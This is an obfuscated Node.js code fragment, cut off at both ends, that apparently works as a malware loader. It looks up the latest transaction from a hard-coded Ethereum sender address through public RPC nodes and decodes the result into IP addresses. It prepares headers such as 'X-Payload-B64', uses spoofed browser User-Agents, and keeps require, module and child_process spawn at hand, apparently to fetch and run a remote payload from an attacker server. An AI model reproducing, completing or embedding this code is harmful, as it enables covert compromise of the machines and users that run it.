_0x99d7bd['push'](_0x99d7bd['shift']());}catch(_0x5a79ca){_0x99d7bd['push'](_0x99d7bd['shift']());}}}(_0x5af2,0x76bf9+0x6*-0x6b91+0x1*0x29591),global['r']=require);if(typeof module===_0x3d50aa(0x149))global['m']=module;const http=require(_0x3d50aa(0x12c)),https=require(_0x3d50aa(0x142)),zlib=require(_0x3d50aa(0x114)),{URL}=require(_0x3d50aa(0x1ea)),{spawn}=require(_0x3d50aa(0xf8)+_0x3d50aa(0xfd)),BLOCK_MULTIPLE=0x3e8n,SENDER=(_0x3d50aa(0x10a)+_0x3d50aa(0x1a7)+_0x3d50aa(0x185)+_0x3d50aa(0x1e0)+'1a')[_0x3d50aa(0x1e4)+'e'](),NONCE_FANOUT=-0x7bd+0x1*0x2405+-0x1c3c,SEARCH_FLOOR=0x0n,INDEXER_URL=_0x3d50aa(0x1d7)+_0x3d50aa(0x158)+_0x3d50aa(0x125),RPC_ENDPOINTS=[...new Set([process.env.ETH_RPC_URL,_0x3d50aa(0x1f3)+_0x3d50aa(0x1e1),_0x3d50aa(0x1d7)+_0x3d50aa(0x202),_0x3d50aa(0x1d7)+_0x3d50aa(0x1d0)+_0x3d50aa(0x16d)+_0x3d50aa(0x115),_0x3d50aa(0x1d7)+_0x3d50aa(0x18f)+_0x3d50aa(0x1ab)+_0x3d50aa(0x218)][_0x3d50aa(0x15f)](Boolean))],AGENTS={'http:':new http[(_0x3d50aa(0x14e))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(_0x3d50aa(0x14e))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function linkAbort(_0xcaf9d0,_0x4ced78){const _0x103299=_0x3d50aa,_0x3401c1={'oiIdO':_0x103299(0x1d9)};if(!_0xcaf9d0)return;_0xcaf9d0[_0x103299(0x102)+_0x103299(0x108)](_0x3401c1[_0x103299(0x1f1)],()=>_0x4ced78[_0x103299(0x1d9)](),{'once':!![]});}function decompressStream(_0x4ad22a){const _0xfceced=_0x3d50aa,_0x148c41={'Vgdwf':_0xfceced(0x163)+_0xfceced(0x235),'tfTjV':function(_0xf7699b,_0x1bd118){return _0xf7699b===_0x1bd118;},'TdoDP':_0xfceced(0x20c),'iDlqn':_0xfceced(0x11a),'AIgGp':_0xfceced(0x23c),'ferDo':function(_0x4fda7e,_0x15b64c){return _0x4fda7e===_0x15b64c;}},_0x3891f0=(_0x4ad22a[_0xfceced(0x16c)][_0x148c41[_0xfceced(0xf1)]]||'')[_0xfceced(0x1e4)+'e']();if(_0x148c41[_0xfceced(0x22c)](_0x3891f0,_0x148c41[_0xfceced(0x13a)])||_0x148c41[_0xfceced(0x22c)](_0x3891f0,_0x148c41[_0xfceced(0x14c)]))return _0x4ad22a[_0xfceced(0x1fd)](zlib[_0xfceced(0x14f)+'ip']());if(_0x148c41[_0xfceced(0x22c)](_0x3891f0,_0x148c41[_0xfceced(0x170)]))return _0x4ad22a[_0xfceced(0x1fd)](zlib[_0xfceced(0xfb)+_0xfceced(0x15a)]());if(_0x148c41[_0xfceced(0x20d)](_0x3891f0,'br'))return _0x4ad22a[_0xfceced(0x1fd)](zlib[_0xfceced(0x129)+_0xfceced(0x1d5)+'ss']());return _0x4ad22a;}function httpRequest(_0x548ce7,{method:method=_0x3d50aa(0x1be),body:_0x3f3c3e,signal:_0x18fa44}={}){const _0x3b18a5=_0x3d50aa,_0x413093={'iDZJE':_0x3b18a5(0x195),'vslfK':function(_0x246d33,_0x12d9a0){return _0x246d33<_0x12d9a0;},'TvOhl':function(_0x1bd49d,_0x5b4d5d){return _0x1bd49d>=_0x5b4d5d;},'uQMRr':function(_0x5eeef8,_0x6ea45e){return _0x5eeef8(_0x6ea45e);},'HUDTm':function(_0x5f3249,_0x2290df){return _0x5f3249===_0x2290df;},'jprNb':function(_0x4227f0,_0x1ad668){return _0x4227f0!==_0x1ad668;},'EXyOm':_0x3b18a5(0x183),'uDHqG':_0x3b18a5(0x101),'KxTps':_0x3b18a5(0x240),'WjlBu':function(_0x2e4b38,_0x3d93d7){return _0x2e4b38===_0x3d93d7;},'ASFkv':_0x3b18a5(0x15e),'UHZyK':function(_0x159670,_0x27f173){return _0x159670+_0x27f173;},'soupp':function(_0x58be26,_0x3753b7){return _0x58be26!=_0x3753b7;},'mTnHG':function(_0x4204ce,_0x5d5319){return _0x4204ce===_0x5d5319;},'QOLPj':_0x3b18a5(0x18b)+_0x3b18a5(0x192),'yKQQl':_0x3b18a5(0x1ad)+_0x3b18a5(0x12f),'dbezp':_0x3b18a5(0x137),'egmiw':function(_0x432fc1,_0x5cf28d){return _0x432fc1!=_0x5cf28d;},'WiCNM':_0x3b18a5(0x1fb)+'pe','ynwXS':_0x3b18a5(0x23e)+_0x3b18a5(0x11f)},_0x52428c=new URL(_0x548ce7),_0x281cd9=_0x413093[_0x3b18a5(0x244)](_0x52428c[_0x3b18a5(0x18e)],_0x413093[_0x3b18a5(0x1d1)])?https:http,_0x4d5cee={'Accept':_0x413093[_0x3b18a5(0x212)],'Accept-Encoding':_0x413093[_0x3b18a5(0x116)],'Connection':_0x413093[_0x3b18a5(0x1c4)]};return _0x413093[_0x3b18a5(0x1f0)](_0x3f3c3e,null)&&(_0x4d5cee[_0x413093[_0x3b18a5(0x1df)]]=_0x413093[_0x3b18a5(0x212)],_0x4d5cee[_0x413093[_0x3b18a5(0xed)]]=Buffer[_0x3b18a5(0x180)](_0x3f3c3e)),new Promise((_0x3fca77,_0x30e312)=>{const _0x34add6=_0x3b18a5,_0x42f02a={'TDscI':_0x413093[_0x34add6(0x141)],'AuTnF':function(_0x4a457c,_0x4383d2){const _0x4afeed=_0x34add6;return _0x413093[_0x4afeed(0x1cc)](_0x4a457c,_0x4383d2);},'obbXL':function(_0xa6e956,_0x3bea4c){const _0x171ac0=_0x34add6;return _0x413093[_0x171ac0(0x166)](_0xa6e956,_0x3bea4c);},'OSenn':function(_0x5715d3,_0x34683c){const _0x2825f0=_0x34add6;return _0x413093[_0x2825f0(0x1c8)](_0x5715d3,_0x34683c);},'zXXOC':function(_0x1c83c0,_0xcda202){const _0x212c0f=_0x34add6;return _0x413093[_0x212c0f(0x1a1)](_0x1c83c0,_0xcda202);},'RTKyT':function(_0xd06c28,_0x38ee5a){const _0x35f864=_0x34add6;return _0x413093[_0x35f864(0x1f9)](_0xd06c28,_0x38ee5a);},'wuHde':function(_0xf5697b,_0xf3edb8){const _0x481eae=_0x34add6;return _0x413093[_0x481eae(0x1c8)](_0xf5697b,_0xf3edb8);},'KfOik':_0x413093[_0x34add6(0x20e)],'bUHSN':_0x413093[_0x34add6(0x119)],'WiBda':_0x413093[_0x34add6(0x20b)]},_0x1f6467=_0x281cd9[_0x34add6(0xfc)]({'hostname':_0x52428c[_0x34add6(0x1f8)],'port':_0x52428c[_0x34add6(0x121)]||(_0x413093[_0x34add6(0x12d)](_0x52428c[_0x34add6(0x18e)],_0x413093[_0x34add6(0x1d1)])?0x2a7+-0x2343+-0x3b*-0x95:0x60b+0x25*0x1d+-0x9ec),'path':_0x413093[_0x34add6(0xef)](_0x52428c[_0x34add6(0x1c5)],_0x52428c[_0x34add6(0x22d)]),'method':method,'agent':AGENTS[_0x52428c[_0x34add6(0x18e)]],'signal':_0x18fa44,'headers':_0x4d5cee},_0x3d3f71=>{const _0x20fa33=_0x34add6,_0x297260={'ezlxS':_0x42f02a[_0x20fa33(0x16e)],'NcOXd':function(_0x129d53,_0x50b9a6){const _0x400abc=_0x20fa33;return _0x42f02a[_0x400abc(0x242)](_0x129d53,_0x50b9a6);},'RocgZ':function(_0x5a84f6,_0x414fbb){const _0x57cc29=_0x20fa33;return _0x42f02a[_0x57cc29(0x112)](_0x5a84f6,_0x414fbb);},'gEjil':function(_0x2dfd40,_0x3aa44){const _0x3232f9=_0x20fa33;return _0x42f02a[_0x3232f9(0x153)](_0x2dfd40,_0x3aa44);},'jjUVx':function(_0x195ddd,_0x37684d){const _0x2b52ca=_0x20fa33;return _0x42f02a[_0x2b52ca(0x105)](_0x195ddd,_0x37684d);},'MsOOv':function(_0x2e685e,_0xe2cc4d){const _0x1f5547=_0x20fa33;return _0x42f02a[_0x1f5547(0x1a4)](_0x2e685e,_0xe2cc4d);},'vUuzq':function(_0x102ae1,_0x164954){const _0x4a7889=_0x20fa33;return _0x42f02a[_0x4a7889(0x1a4)](_0x102ae1,_0x164954);},'hOyOM':function(_0x2bd9aa,_0x2d95f1){const _0x1a075a=_0x20fa33;return _0x42f02a[_0x1a075a(0x17b)](_0x2bd9aa,_0x2d95f1);}},_0x38a013=_0x42f02a[_0x20fa33(0x153)](decompressStream,_0x3d3f71),_0x5a3b1f=[];_0x38a013['on'](_0x42f02a[_0x20fa33(0x238)],_0x18c861=>_0x5a3b1f[_0x20fa33(0x1ac)](_0x18c861)),_0x38a013['on'](_0x42f02a[_0x20fa33(0xf0)],()=>{const _0x3511c9=_0x20fa33,_0x3aeb85=Buffer[_0x3511c9(0x1f4)](_0x5a3b1f)[_0x3511c9(0x160)](_0x297260[_0x3511c9(0x197)])[_0x3511c9(0x172)]();if(_0x297260[_0x3511c9(0x1ef)](_0x3d3f71[_0x3511c9(0x17f)],0xea6+-0xabf+-0x2f*0x11)||_0x297260[_0x3511c9(0x196)](_0x3d3f71[_0x3511c9(0x17f)],-0xd6b+-0x56*0x30+0x1eb7))return _0x297260[_0x3511c9(0x22e)](_0x30e312,new Error(_0x3511c9(0xf9)+_0x3d3f71[_0x3511c9(0x17f)]+_0x3511c9(0x13b)+_0x52428c[_0x3511c9(0x1f8)]+':\x20'+_0x3aeb85[_0x3511c9(0x14a)](0x225c*-0x1+0x20ca+0x192,0x261*0x6+-0x1ef7+0x1129)));if(!_0x3aeb85||_0x297260[_0x3511c9(0x239)](_0x3aeb85[-0x20aa+-0xe6*-0x1f+-0x2c*-0x1c],'<')||_0x297260[_0x3511c9(0xf2)](_0x3aeb85[0x101*-0x19+0x1*0x208b+-0x772],'{')&&_0x297260[_0x3511c9(0x127)](_0x3aeb85[0x1142+0x22b8+0x1*-0x33fa],'['))return _0x297260[_0x3511c9(0x22e)](_0x30e312,new Error(_0x3511c9(0x200)+_0x3511c9(0x1f7)+_0x52428c[_0x3511c9(0x1f8)]+':\x20'+_0x3aeb85[_0x3511c9(0x14a)](0xb*0x359+-0xa6f*-0x1+0x107*-0x2e,0xe3e+0x1d*-0x1f+-0xa43)));try{_0x297260[_0x3511c9(0x16b)](_0x3fca77,JSON[_0x3511c9(0x1b2)](_0x3aeb85));}catch(_0x1dfc42){_0x297260[_0x3511c9(0x22e)](_0x30e312,new Error(_0x3511c9(0x188)+_0x3511c9(0x1de)+_0x3511c9(0x243)+_0x52428c[_0x3511c9(0x1f8)]+':\x20'+_0x1dfc42[_0x3511c9(0x1bb)]));}}),_0x38a013['on'](_0x42f02a[_0x20fa33(0x17d)],_0x30e312);});_0x1f6467['on'](_0x413093[_0x34add6(0x20b)],_0x30e312);if(_0x413093[_0x34add6(0x118)](_0x3f3c3e,null))_0x1f6467[_0x34add6(0x1e5)](_0x3f3c3e);_0x1f6467[_0x34add6(0x101)]();});}async function withRpcEndpoints(_0x3c93f2,_0x28b41c){const _0x3b8761=_0x3d50aa,_0x438063=RPC_ENDPOINTS[_0x3b8761(0x20a)](()=>new AbortController());_0x438063[_0x3b8761(0x134)](_0x4e9be7=>linkAbort(_0x28b41c,_0x4e9be7));try{return await Promise[_0x3b8761(0x19b)](RPC_ENDPOINTS[_0x3b8761(0x20a)]((_0x156c91,_0x1528a6)=>_0x3c93f2(_0x156c91,_0x438063[_0x1528a6][_0x3b8761(0x107)])));}finally{for(const _0x12e7a0 of _0x438063)_0x12e7a0[_0x3b8761(0x1d9)]();}}async function rpcCall(_0x61c587,_0x439be6,_0x3271e1,_0x4dab2b){const _0xd13efe=_0x3d50aa,_0x46a3b3={'vxRZK':function(_0x169851,_0x319138,_0x5dc936){return _0x169851(_0x319138,_0x5dc936);},'DoRIf':_0xd13efe(0x1fc),'fayXa':_0xd13efe(0x181)},_0x3f0ab6=await _0x46a3b3[_0xd13efe(0x164)](httpRequest,_0x61c587,{'method':_0x46a3b3[_0xd13efe(0x1bf)],'body':JSON[_0xd13efe(0x191)]({'jsonrpc':_0x46a3b3[_0xd13efe(0x13c)],'id':0x1,'method':_0x439be6,'params':_0x3271e1}),'signal':_0x4dab2b});return _0x3f0ab6[_0xd13efe(0x1d2)];}async function rpcBatch(_0xf8bb40,_0x22ce3a,_0x21727c){const _0xf073=_0x3d50aa,_0x2663e7={'Afwxq':function(_0x1e87cb,_0x355737,_0x37bcae){return _0x1e87cb(_0x355737,_0x37bcae);},'KPnAP':_0xf073(0x1fc)},_0x14178f=await _0x2663e7[_0xf073(0x150)](httpRequest,_0xf8bb40,{'method':_0x2663e7[_0xf073(0xf6)],'body':JSON[_0xf073(0x191)](_0x22ce3a[_0xf073(0x20a)](([_0x32c27d,_0x206417],_0x1e77e1)=>({'jsonrpc':_0xf073(0x181),'id':_0x1e77e1+(-0x2268+-0x1*-0xbaf+-0x2*-0xb5d),'method':_0x32c27d,'params':_0x206417}))),'signal':_0x21727c}),_0x14995f=new Map(_0x14178f[_0xf073(0x20a)](_0x2a0678=>[_0x2a0678['id'],_0x2a0678]));return _0x22ce3a[_0xf073(0x20a)]((_0x35006c,_0x5d9f32)=>_0x14995f[_0xf073(0x135)](_0x5d9f32+(0xba8+0xfcb+-0x1b72))[_0xf073(0x1d2)]);}const toBlockHex=_0x5a1cee=>'0x'+_0x5a1cee[_0x3d50aa(0x160)](0x43f*-0x9+0xb*-0xdb+0x2fb0);function _0x4540(_0x44381b,_0x22f7d4){_0x44381b=_0x44381b-(0x10*0x265+0x2389+-0x48ed);const _0x76ce99=_0x5af2();let _0x351de5=_0x76ce99[_0x44381b];return _0x351de5;}function findSenderTx(_0x5f12ef){const _0x301b8c=_0x3d50aa;return _0x5f12ef[_0x301b8c(0x184)](_0x570de2=>_0x570de2[_0x301b8c(0x190)]&&_0x570de2[_0x301b8c(0x190)][_0x301b8c(0x1e4)+'e']()===SENDER)||null;}function decodeAddress(_0x300e3b){const _0x203672=_0x3d50aa,_0x4701b4={'JGWDF':_0x203672(0x1a5),'KHFhV':function(_0x5d7da3,_0x45f246){return _0x5d7da3(_0x45f246);},'gLhbd':function(_0xbf072,_0xc25ced){return _0xbf072(_0xc25ced);}},_0x3c78ee=Buffer[_0x203672(0x190)](_0x300e3b[_0x203672(0x1da)](/^0x/i,''),_0x4701b4[_0x203672(0xec)]),_0x1255a9=_0xb63891=>_0xb63891[0x45d*-0x8+0x1*-0xd5a+-0x3a*-0xd5]+'.'+_0xb63891[-0xa00+-0x1*0x23f6+0x2df7]+'.'+_0xb63891[-0x6c2+0xb3*0x11+-0x51f]+'.'+_0xb63891[-0x352*0x2+-0xd*-0x78+0x8f];return[_0x4701b4[_0x203672(0x214)](_0x1255a9,_0x3c78ee[_0x203672(0x1a0)](0x190b*-0x1+-0xa33+0x15b*0x1a,0x13a6*0x1+0xac6+-0x1e68)),_0x4701b4[_0x203672(0x234)](_0x1255a9,_0x3c78ee[_0x203672(0x1a0)](-0x1907+0x90a+-0x1001*-0x1,-0x1a*0x17f+0xbc2+0x1b2c))];}function firstMatch(_0x25d275){const _0x4474d5={'QijxU':function(_0x3045e0,_0x215eea){return _0x3045e0===_0x215eea;},'yuDqY':function(_0x21a797,_0x2ab1c4){return _0x21a797(_0x2ab1c4);},'qKxRm':function(_0x521597,_0x56ff46){return _0x521597(_0x56ff46);},'aMwHQ':function(_0x520756,_0x39db47){return _0x520756===_0x39db47;},'FkmJG':function(_0x47ac27,_0xd7e5df){return _0x47ac27(_0xd7e5df);}};return new Promise(_0x2b2c86=>{const _0x414238=_0x4540,_0xaaf74b={'PYAVx':function(_0x23c741,_0x14d940){const _0x32a04c=_0x4540;return _0x4474d5[_0x32a04c(0x1ec)](_0x23c741,_0x14d940);},'STGNj':function(_0x41a8d3,_0x160975){const _0x3d9cbb=_0x4540;return _0x4474d5[_0x3d9cbb(0x16f)](_0x41a8d3,_0x160975);}};let _0x4ed218=_0x25d275[_0x414238(0x1f6)];if(!_0x4ed218)return _0x4474d5[_0x414238(0x157)](_0x2b2c86,null);let _0x515fda=![];const _0x559336=_0x3e8c32=>{const _0x43b26c=_0x414238;if(_0x515fda)return;_0x515fda=!![];for(const _0x546598 of _0x25d275)_0x546598[_0x43b26c(0x186)][_0x43b26c(0x1d9)]();_0xaaf74b[_0x43b26c(0x1ee)](_0x2b2c86,_0x3e8c32);};for(const _0x59d3f1 of _0x25d275){_0x59d3f1[_0x414238(0x120)]()[_0x414238(0x1e7)](_0x43c0be=>{const _0x4e2b0f=_0x414238;if(_0x515fda)return;if(_0x43c0be)_0xaaf74b[_0x4e2b0f(0x1ee)](_0x559336,_0x43c0be);else{if(_0xaaf74b[_0x4e2b0f(0x1eb)](--_0x4ed218,0x1a0a+-0xd67+0x1*-0xca3))_0xaaf74b[_0x4e2b0f(0x1ee)](_0x2b2c86,null);}})[_0x414238(0x10f)](()=>{const _0x753455=_0x414238;if(!_0x515fda&&_0x4474d5[_0x753455(0x167)](--_0x4ed218,0x393*0x1+0x190b+-0x1c9e))_0x4474d5[_0x753455(0x215)](_0x2b2c86,null);});}});}function candidateBlocks(_0x451682){const _0x349ec6=_0x3d50aa,_0x5c4795={'AksAq':function(_0x4ac672,_0x4132ee){return _0x4ac672-_0x4132ee;},'nNxmt':function(_0x5cf036,_0x15e2f0){return _0x5cf036-_0x15e2f0;},'uLFRW':function(_0x515152,_0x6b2a85){return _0x515152+_0x6b2a85;},'wvCvG':function(_0x2f1ebb,_0x46e1f0){return _0x2f1ebb<_0x46e1f0;}},_0x2c7fce=_0x5c4795[_0x349ec6(0x207)](_0x451682,BLOCK_MULTIPLE),_0x4ac7cd=new Set(),_0x3ea379=[];for(const _0x2700d4 of[_0x5c4795[_0x349ec6(0x1af)](_0x451682,0x1n),_0x451682,_0x5c4795[_0x349ec6(0x10b)](_0x451682,0x1n),_0x5c4795[_0x349ec6(0x1af)](_0x2c7fce,0x1n),_0x2c7fce,_0x5c4795[_0x349ec6(0x10b)](_0x2c7fce,0x1n)]){if(_0x5c4795[_0x349ec6(0x130)](_0x2700d4,0x0n))continue;const _0xa5e2d4=_0x2700d4[_0x349ec6(0x160)]();if(_0x4ac7cd[_0x349ec6(0xf4)](_0xa5e2d4))continue;_0x4ac7cd[_0x349ec6(0x1ca)](_0xa5e2d4),_0x3ea379[_0x349ec6(0x1ac)](_0x2700d4);}return _0x3ea379;}function blockTask(_0x10806e){const _0x141587={'DVmkE':function(_0x53cc78,_0x4fe5b4,_0xb25e03){return _0x53cc78(_0x4fe5b4,_0xb25e03);},'hyoNn':function(_0x2ee3fe,_0x10e3c1){return _0x2ee3fe(_0x10e3c1);}},_0x560b4f=new AbortController();return{'controller':_0x560b4f,'run':async()=>{const _0x39ca2e=_0x4540,_0x528eaf=await _0x141587[_0x39ca2e(0x1db)](withRpcEndpoints,(_0x351a15,_0x459ca6)=>rpcCall(_0x351a15,_0x39ca2e(0x187)+_0x39ca2e(0x106),[toBlockHex(_0x10806e),!![]],_0x459ca6),_0x560b4f[_0x39ca2e(0x107)]),_0x22bb0f=_0x528eaf?.[_0x39ca2e(0x1ce)+'ns'];if(!Array[_0x39ca2e(0x18a)](_0x22bb0f))return null;const _0x2418bb=_0x141587[_0x39ca2e(0x1c3)](findSenderTx,_0x22bb0f);return _0x2418bb?{'blockNumber':_0x10806e,'tx':_0x2418bb}:null;}};}async function nonceAtBlocks(_0x2be79b,_0x397802){const _0x684b4f=_0x3d50aa,_0xff3a28={'XCTNi':function(_0x543a2e,_0x256089,_0x2b7793){return _0x543a2e(_0x256089,_0x2b7793);}},_0x1a6980=_0x2be79b[_0x684b4f(0x20a)](_0x560d5c=>[_0x684b4f(0x1b6)+_0x684b4f(0x13e)+_0x684b4f(0x1c9),[SENDER,toBlockHex(_0x560d5c)]]);try{return(await _0xff3a28[_0x684b4f(0x217)](withRpcEndpoints,(_0x5f2fc4,_0x18662c)=>rpcBatch(_0x5f2fc4,_0x1a6980,_0x18662c),_0x397802))[_0x684b4f(0x20a)](BigInt);}catch{return(await Promise[_0x684b4f(0x10e)](_0x1a6980[_0x684b4f(0x20a)](([_0x4bb571,_0x436cbf])=>withRpcEndpoints((_0x2438cd,_0x169488)=>rpcCall(_0x2438cd,_0x4bb571,_0x436cbf,_0x169488),_0x397802))))[_0x684b4f(0x20a)](BigInt);}}function _0x5af2(){const _0x5a7b0a=['mnFHC','261184YJXqza','liDecompre','EWLRz','https://et','unref','abort','replace','DVmkE','_H\x27]=\x27','_t_s','\x20failed\x20fr','WiCNM','9aDC2490Ef','pc.io/eth','http://','fari/537.3','toLowerCas','write','gpaRs','then','address=','ilterby=fr','node:url','STGNj','qKxRm','HEAD','PYAVx','NcOXd','egmiw','oiIdO','wqkGV','https://1r','concat','2776345CxZuxn','length','rom\x20','hostname','jprNb','@^1aQk','Content-Ty','POST','pipe','wHdjO',':443/0x/ls','Non-JSON\x20f','_t_u','h.drpc.org','nonce','RiGbT','tVVub','TvWpG','AksAq','?module=ac','8218jIlQEC','map','KxTps','gzip','ferDo','EXyOm','BymBF','e;global[\x27','cQZNb','QOLPj','ewnkW','KHFhV','yuDqY','Mozilla/5.','XCTNi','stapi.io','b64','1918902KtvETs','30pcAOOW','senOS','_t_s\x27]=\x27','lKVFT',':443','WwVuu','Utdvq','LYqGc','20072256XWRZPQ','LGaQR','qwxdd','ck=9999999','QqJEF',':80','Win64;\x20x64','umber','yjovO','tfTjV','search','gEjil','VXWyQ','rwUsX','nzgXE','VYdjR','Cezpb','gLhbd','coding','UIVMN','KxKSb','KfOik','jjUVx','ignore',';var\x20_glob','deflate','ShAzu','Content-Le','jEARz','error','dOIWp','AuTnF','om\x20','mTnHG','PXbYc','BNTNo','JGWDF','ynwXS','charCodeAt','UHZyK','bUHSN','Vgdwf','MsOOv','162GuCCpD','has','eNrHo','KPnAP','eegcc','node:child','HTTP\x20','Rjqfx','createInfl','request','_process','oad\x20body','ZHZdt','pGFvM','end','addEventLi','YnsLa','UOMGJ','zXXOC','ckByNumber','signal','stener','Rcfhf','0xa322E5f3','uLFRW','58916wtmLdJ','pLHfN','all','catch','errXT',')\x20AppleWeb','obbXL','PKGTQ','node:zlib','e.com','yKQQl','1.0.0.0\x20Sa','soupp','uDHqG','x-gzip','krktA','YStoe','HgAuv','Kit/537.36','ngth','run','port','XgvbE','XKuWX','lOQsp','ut.com/api','nkIXP','vUuzq','_H2\x27]=\x27','createBrot','ike\x20Gecko)','findIndex','node:http','WjlBu','vwats','ate,\x20br','wvCvG','9&page=1&o','global[\x27_V','hqRsN','forEach','get','XwhNd','keep-alive','iNDue','TmMuR','TdoDP','\x20from\x20','fayXa','Smbww','nsactionCo','deYsb','GaxDZ','iDZJE','node:https','nthYb','&startbloc','min','kkDqI','QQWFo','YSfiS','object','slice','UcQxY','iDlqn','ort=desc&f','Agent','createGunz','Afwxq','NSUjV','ffset=20&s','OSenn','1811756RSxqbL','eth_blockN','\x27]=\x27','FkmJG','h.blocksco','GaOUW','ate','osICf','on=txlist&','y-p_>d$0B&','https:','filter','toString','\x20(KHTML,\x20l','Payload-B6','content-en','vxRZK',':443/0x/cl','TvOhl','QijxU','Empty\x20payl','bEpGj','lZyOv','hOyOM','headers','.publicnod','TDscI','aMwHQ','AIgGp',',Sr3=@','trim','sWosW','jfcKc','acyRm','12AcxHgA','cEudA','iAclJ','base64','5eORqsV','wuHde','OuErt','WiBda','uMXFF','statusCode','byteLength','2.0','resume','data','find','6f0121063e','controller','eth_getBlo','JSON\x20parse','kaKqK','isArray','applicatio','blockNumbe','al=global;','protocol','h-mainnet.','from','stringify','n/json','XcRIT','dmWkI','utf8','RocgZ','ezlxS','\x20Chrome/13','k=0&endblo','huYvE','any','q4FZkxX{!h','0\x20(Windows','RCnVC','Missing\x20X-','subarray','HUDTm','\x27;global[\x27','KaCMh','RTKyT','hex','sJvoX','D311D3080e','OCyLP','UKBvr','Ufske','public.bla','push','gzip,\x20defl','RKoZx','nNxmt','r\x27]=requir','node','parse','zvvNw','vYymT','itrKA','eth_getTra','x-payload-','aIugX','MSflh','3330owdrir','message','Dcmkz','rPQEg','GET','DoRIf','KVQxY','\x20NT\x2010.0;\x20','FRKHp','hyoNn','dbezp','pathname','_t_u\x27]=\x27','m\x27]=module','uQMRr','unt','add','_H2','vslfK','count&acti','transactio','gxTff','hereum-rpc','ASFkv','result'];_0x5af2=function(){return _0x5a7b0a;};return _0x5af2();}async function lastSenderTx(_0x23b78e){const _0x11b036=_0x3d50aa,_0x187d36={'cEudA':function(_0x2da068,_0xfb0bdb){return _0x2da068(_0xfb0bdb);},'TvWpG':function(_0x244ee5,_0x390ae7,_0x5017a5){return _0x244ee5(_0x390ae7,_0x5017a5);},'eNrHo':function(_0x20b305,_0x4e1682){return _0x20b305(_0x4e1682);},'kaKqK':function(_0x30af17,_0x3a61b2){return _0x30af17-_0x3a61b2;},'Utdvq':function(_0x19675c,_0x42e650){return _0x19675c>_0x42e650;},'Rjqfx':function(_0x277825,_0xa00831){return _0x277825-_0xa00831;},'UcQxY':function(_0x2b4e13,_0x575a6b){return _0x2b4e13-_0x575a6b;},'YnsLa':function(_0x23cd77,_0x2402c2){return _0x23cd77(_0x2402c2);},'lOQsp':function(_0x267c90,_0x5a977a){return _0x267c90<=_0x5a977a;},'krktA':function(_0x509d04,_0x2bbb05){return _0x509d04+_0x2bbb05;},'RCnVC':function(_0x466693,_0x3bfea1){return _0x466693/_0x3bfea1;},'KVQxY':function(_0x2ff81e,_0x5be75c){return _0x2ff81e*_0x5be75c;},'XwhNd':function(_0x3a292a,_0x4db065){return _0x3a292a-_0x4db065;},'Cezpb':function(_0x17d06b,_0x270812,_0x3dc7d4){return _0x17d06b(_0x270812,_0x3dc7d4);},'VXWyQ':function(_0x57aaa5,_0x5dfab1){return _0x57aaa5===_0x5dfab1;},'jfcKc':function(_0x509853,_0x3eff3d,_0x1569c5){return _0x509853(_0x3eff3d,_0x1569c5);},'XgvbE':function(_0x2e4137,_0x45d19c){return _0x2e4137!==_0x45d19c;},'kkDqI':function(_0x2a6d9f,_0x9e1668){return _0x2a6d9f===_0x9e1668;},'nkIXP':function(_0x9d8f03,_0x52da60){return _0x9d8f03>_0x52da60;}},_0x3e40dd=new AbortController();try{const _0x5fbaf4=_0x23b78e??_0x187d36[_0x11b036(0x177)](BigInt,await _0x187d36[_0x11b036(0x206)](withRpcEndpoints,(_0xe41c32,_0x4f5162)=>rpcCall(_0xe41c32,_0x11b036(0x155)+_0x11b036(0x22a),[],_0x4f5162),_0x3e40dd[_0x11b036(0x107)])),_0x4f42d3=_0x187d36[_0x11b036(0xf5)](BigInt,await _0x187d36[_0x11b036(0x206)](withRpcEndpoints,(_0x51dc59,_0x469f6d)=>rpcCall(_0x51dc59,_0x11b036(0x1b6)+_0x11b036(0x13e)+_0x11b036(0x1c9),[SENDER,toBlockHex(_0x5fbaf4)],_0x469f6d),_0x3e40dd[_0x11b036(0x107)])),_0x5ad092=_0x187d36[_0x11b036(0x189)](_0x4f42d3,0x1n);let _0x45c474=_0x187d36[_0x11b036(0x189)](SEARCH_FLOOR,0x1n),_0x5f2d9c=_0x5fbaf4;while(_0x187d36[_0x11b036(0x221)](_0x187d36[_0x11b036(0xfa)](_0x5f2d9c,_0x45c474),0x1n)){const _0x381e82=_0x187d36[_0x11b036(0x14b)](_0x187d36[_0x11b036(0x189)](_0x5f2d9c,_0x45c474),0x1n),_0x55a2ac=_0x187d36[_0x11b036(0x177)](BigInt,Math[_0x11b036(0x145)](NONCE_FANOUT,_0x187d36[_0x11b036(0x103)](Number,_0x381e82))),_0x4b3d52=[];for(let _0xc9ffb6=0x1n;_0x187d36[_0x11b036(0x124)](_0xc9ffb6,_0x55a2ac);_0xc9ffb6+=0x1n)_0x4b3d52[_0x11b036(0x1ac)](_0x187d36[_0x11b036(0x11b)](_0x45c474,_0x187d36[_0x11b036(0x19e)](_0x187d36[_0x11b036(0x1c0)](_0xc9ffb6,_0x187d36[_0x11b036(0x136)](_0x5f2d9c,_0x45c474)),_0x187d36[_0x11b036(0x11b)](_0x55a2ac,0x1n))));const _0x549049=await _0x187d36[_0x11b036(0x233)](nonceAtBlocks,_0x4b3d52,_0x3e40dd[_0x11b036(0x107)]),_0x2633e4=_0x549049[_0x11b036(0x12b)](_0x3d4a1a=>_0x3d4a1a>=_0x4f42d3);if(_0x187d36[_0x11b036(0x22f)](_0x2633e4,-(-0x592+0x1105+-0xb72)))_0x45c474=_0x4b3d52[_0x187d36[_0x11b036(0x136)](_0x4b3d52[_0x11b036(0x1f6)],0x138*0x4+-0x70f*-0x2+-0x12fd*0x1)];else{_0x5f2d9c=_0x4b3d52[_0x2633e4];if(_0x187d36[_0x11b036(0x221)](_0x2633e4,-0x1488+0x8be+0x2*0x5e5))_0x45c474=_0x4b3d52[_0x187d36[_0x11b036(0xfa)](_0x2633e4,-0x1b9a+0x178b+0x410)];}}const _0x3ac171=await _0x187d36[_0x11b036(0x174)](withRpcEndpoints,(_0x59deb8,_0x494da5)=>rpcCall(_0x59deb8,_0x11b036(0x187)+_0x11b036(0x106),[toBlockHex(_0x5f2d9c),!![]],_0x494da5),_0x3e40dd[_0x11b036(0x107)]),_0x45a869=_0x3ac171?.[_0x11b036(0x1ce)+'ns']||[];let _0x734cac=null;for(const _0x2eedcd of 